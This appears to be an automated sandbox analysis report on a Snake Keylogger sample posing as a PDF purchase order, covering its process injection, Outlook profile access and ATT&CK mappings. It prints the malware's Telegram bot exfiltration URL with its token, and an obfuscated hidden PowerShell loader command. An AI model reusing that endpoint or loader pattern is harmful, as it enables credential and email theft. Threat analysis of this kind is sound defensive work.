snakekeylogger | b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 08:59

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General

Target

PO#940834894039430849484803408.PDF.exe
Size

793KB
MD5

c87c5a7ad95494abcb368fbfbe5508fd
SHA1

0e33726a7647be3c9753240857c4cdfaf7a4b851
SHA256

b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf
SHA512

1d45aabe8e0855f76c6b3a894b35480783f4f9fcde665dc08d90ae43c84962d9cf02971199718fa57a10711b808b16220a76cb3811c25501905380d4887444b9
SSDEEP

24576:mMwhYkaCzmb6f2b/hNZx0PARxFWfcFqal/F4X5Zi:mMwh0Omb7PZq+WfQiX5

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8040460346:AAFN58T9Y0-aqdzScEiebBO06S141L8RsSA/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/3220-207-0x0000000000B00000-0x0000000000B26000-memory.dmp	family_snakekeylogger
behavioral2/memory/3220-206-0x0000000000B00000-0x0000000001D54000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2524	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
22	3220	msiexec.exe
29	3220	msiexec.exe
32	3220	msiexec.exe
38	3220	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3220	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2524	powershell.exe
3220	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	PO#940834894039430849484803408.PDF.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	PO#940834894039430849484803408.PDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO#940834894039430849484803408.PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
3220	msiexec.exe
3220	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeIncreaseQuotaPrivilege	2524	powershell.exe
Token: SeSecurityPrivilege	2524	powershell.exe
Token: SeTakeOwnershipPrivilege	2524	powershell.exe
Token: SeLoadDriverPrivilege	2524	powershell.exe
Token: SeSystemProfilePrivilege	2524	powershell.exe
Token: SeSystemtimePrivilege	2524	powershell.exe
Token: SeProfSingleProcessPrivilege	2524	powershell.exe
Token: SeIncBasePriorityPrivilege	2524	powershell.exe
Token: SeCreatePagefilePrivilege	2524	powershell.exe
Token: SeBackupPrivilege	2524	powershell.exe
Token: SeRestorePrivilege	2524	powershell.exe
Token: SeShutdownPrivilege	2524	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeSystemEnvironmentPrivilege	2524	powershell.exe
Token: SeRemoteShutdownPrivilege	2524	powershell.exe
Token: SeUndockPrivilege	2524	powershell.exe
Token: SeManageVolumePrivilege	2524	powershell.exe
Token: 33	2524	powershell.exe
Token: 34	2524	powershell.exe
Token: 35	2524	powershell.exe
Token: 36	2524	powershell.exe
Token: SeDebugPrivilege	3220	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2524	2276	PO#940834894039430849484803408.PDF.exe	83
PID 2276 wrote to memory of 2524	2276	PO#940834894039430849484803408.PDF.exe	83
PID 2276 wrote to memory of 2524	2276	PO#940834894039430849484803408.PDF.exe	83
PID 2524 wrote to memory of 3220	2524	powershell.exe	95
PID 2524 wrote to memory of 3220	2524	powershell.exe	95
PID 2524 wrote to memory of 3220	2524	powershell.exe	95
PID 2524 wrote to memory of 3220	2524	powershell.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\PO#940834894039430849484803408.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PO#940834894039430849484803408.PDF.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Aerobated=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Firtallene.Kon';$omdigtnings=$Aerobated.SubString(53429,3);.$omdigtnings($Aerobated)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqpdrlm1.d0x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Firtallene.Kon

Filesize
52KB

MD5
3bc6283487e6d24c936852451b413c2a

SHA1
8217f7a25aadbe7b9f081d045b6899ef3df052fd

SHA256
61f5a6c21629c953a1759b9f51f6abfcf11e7e4e2d3defe593871f20d1e0715d

SHA512
1b94fe5a7869e223f21b5985fdb8a61bc90b8f4a4be5704ba6008b62f30710fd0da4c34f974d00bb566dee791b6fec41572be06074a6db80c39a46e6757aba2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Overmast224.Jdi

Filesize
352KB

MD5
d3e916ba37b993f859d3df7b04ad65c5

SHA1
6f6ba3701e601c3b27bb1274b93d36e7b39b84b1

SHA256
a4ceb200f51d0257fa702196bb751df7786dd7c1b7fbcc814a8fee61972192e9

SHA512
fe5c5d60abdbfbe77cd77ac7a0c7524d0af907940cd8e8156fb9419ac32ffce13e7cc3218c6ccee813539a7a02460af2640bac76729a2d120196f7a4501ada82

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
15746df1f05bf30d090e474519f1a8d5

SHA1
7972dd3c8f82424d30b1daf0e7923ed6d32becfd

SHA256
6bedfcf867b9004beaef9182c38a8c1869c5adcff585fb8b34647a4e85380837

SHA512
27fe92346dd52dc9aceb9a41b1757a8be6778ccb381d8990d7322f30febb3f55da3f5d0f8c94725cdee567075aebd1e1c2d3b9e7f9e65d72b588fc351859eb55

Download Submit
memory/2524-186-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-201-0x0000000008FA0000-0x000000000DBC1000-memory.dmp

Filesize
76.1MB

Download
memory/2524-150-0x0000000005710000-0x0000000005732000-memory.dmp

Filesize
136KB

Download
memory/2524-188-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-153-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/2524-148-0x00000000058B0000-0x0000000005ED8000-memory.dmp

Filesize
6.2MB

Download
memory/2524-159-0x00000000060A0000-0x00000000063F4000-memory.dmp

Filesize
3.3MB

Download
memory/2524-165-0x00000000067E0000-0x000000000682C000-memory.dmp

Filesize
304KB

Download
memory/2524-164-0x0000000006740000-0x000000000675E000-memory.dmp

Filesize
120KB

Download
memory/2524-167-0x0000000006C70000-0x0000000006C8A000-memory.dmp

Filesize
104KB

Download
memory/2524-166-0x0000000006CC0000-0x0000000006D56000-memory.dmp

Filesize
600KB

Download
memory/2524-168-0x0000000007710000-0x0000000007732000-memory.dmp

Filesize
136KB

Download
memory/2524-169-0x0000000007CF0000-0x0000000008294000-memory.dmp

Filesize
5.6MB

Download
memory/2524-149-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-171-0x0000000008920000-0x0000000008F9A000-memory.dmp

Filesize
6.5MB

Download
memory/2524-173-0x0000000070180000-0x00000000701CC000-memory.dmp

Filesize
304KB

Download
memory/2524-174-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-190-0x0000000008450000-0x000000000847A000-memory.dmp

Filesize
168KB

Download
memory/2524-175-0x0000000070920000-0x0000000070C74000-memory.dmp

Filesize
3.3MB

Download
memory/2524-185-0x0000000007BC0000-0x0000000007BDE000-memory.dmp

Filesize
120KB

Download
memory/2524-147-0x0000000003120000-0x0000000003156000-memory.dmp

Filesize
216KB

Download
memory/2524-187-0x0000000007BE0000-0x0000000007C83000-memory.dmp

Filesize
652KB

Download
memory/2524-152-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/2524-189-0x0000000007CD0000-0x0000000007CDA000-memory.dmp

Filesize
40KB

Download
memory/2524-172-0x0000000007B80000-0x0000000007BB2000-memory.dmp

Filesize
200KB

Download
memory/2524-191-0x0000000008480000-0x00000000084A4000-memory.dmp

Filesize
144KB

Download
memory/2524-192-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-195-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-194-0x0000000073CFE000-0x0000000073CFF000-memory.dmp

Filesize
4KB

Download
memory/2524-196-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-146-0x0000000073CFE000-0x0000000073CFF000-memory.dmp

Filesize
4KB

Download
memory/2524-198-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-199-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-200-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-151-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-202-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-203-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/2524-205-0x0000000073CF0000-0x00000000744A0000-memory.dmp

Filesize
7.7MB

Download
memory/3220-207-0x0000000000B00000-0x0000000000B26000-memory.dmp

Filesize
152KB

Download
memory/3220-206-0x0000000000B00000-0x0000000001D54000-memory.dmp

Filesize
18.3MB

Download
memory/3220-208-0x0000000024730000-0x00000000247CC000-memory.dmp

Filesize
624KB

Download
memory/3220-210-0x0000000025380000-0x00000000253D0000-memory.dmp

Filesize
320KB

Download
memory/3220-211-0x00000000255A0000-0x0000000025762000-memory.dmp

Filesize
1.8MB

Download
memory/3220-214-0x0000000025470000-0x0000000025502000-memory.dmp

Filesize
584KB

Download
memory/3220-215-0x00000000253D0000-0x00000000253DA000-memory.dmp

Filesize
40KB

Download